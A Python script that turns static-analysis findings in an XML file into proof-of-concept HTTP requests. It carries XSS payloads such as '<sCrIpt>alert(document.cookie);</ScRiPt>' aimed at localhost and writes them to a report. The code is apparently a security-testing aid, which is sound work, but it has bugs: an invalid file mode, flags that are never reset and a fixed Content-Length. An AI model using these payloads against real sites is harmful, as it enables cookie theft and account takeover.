from xml.etree.ElementTree import Element, SubElement, Comment, tostring
import xml.etree.ElementTree as ET
import re, random

tree = ET.parse("vulns.xml")
root = tree.getroot()

get_chanels = ['GET','REQUEST']
get_chanels_flag = False
post_chanels = ['POST']
post_chanels_flag = False
headers_chanels = ['COOKIE']
headers_chanels_flag = False
session_chanels = ['SESSION']
session_chanels_flag = False

xss_vectors = ['<sCrIpt>alert(document.cookie);</ScRiPt>', '"alert(document.cookie);']


def clear_filename(filename):
    return filename.replace('target', '')

def get_input_array(POSTvar):
    regex = r'(\w+)(\[\'\w+\'\])'
    listrez = re.findall(regex, POSTvar)
    for rez in listrez:
        return rez[0]

def get_input_param(POSTvar):
    regex = r'(\w+)(?:(?:\[\')(\w+)(?:\'\]))'
    listrez = re.findall(regex, POSTvar)
    for rez in listrez:
        return rez[1]

def http_request_make(method, uri, param, vector):
    try:
        if method == "GET":
            uri = uri + "?" + param + "=" + vector
            httpreq = method + " " + uri + " HTTP/1.1\r\n" + "Host: localhost\r\n"
            return httpreq
        if method == "POST":
            httpreq = method + " " + uri + " HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 35\r\n\r\n" + param + "=" + vector
            return httpreq
        else:
            return False
    except:
        return "no exploit"

def random_vector(vector_list):
    return vector_list[random.randint(0, len(vector_list)-1)]


f = open("report.txt",'aw')

for file in root.findall('file'):
    filename = clear_filename(file.get("name"))
    vector = ""
    method = "GET"
    exploit = ""
    for vuln in file.findall('vuln'):
        param = get_input_param(vuln.get('value'))
        if get_input_array(vuln.get('value')) in get_chanels:
            get_chanels_flag = True
        if get_input_array(vuln.get('value')) in post_chanels:
            post_chanels_flag = True
        if get_input_array(vuln.get('value')) in headers_chanels:
            headers_chanels_flag = True
        if get_input_array(vuln.get('value')) in session_chanels:
            session_chanels_flag = True

        if 'stored' not in vuln.get('vtype'):
            if 'xss' in vuln.get('vtype'):
                if get_chanels_flag:
                    exploit = http_request_make("GET", filename, param, random_vector(xss_vectors))
                if post_chanels_flag:
                    exploit = http_request_make("POST", filename, param, random_vector(xss_vectors))
        if 'stored' in vuln.get('vtype'):
            place = "DataBase"
            if session_chanels_flag:
                place = "session"
            exploit = "vector must be in " + place
        f.write(exploit)
f.close()





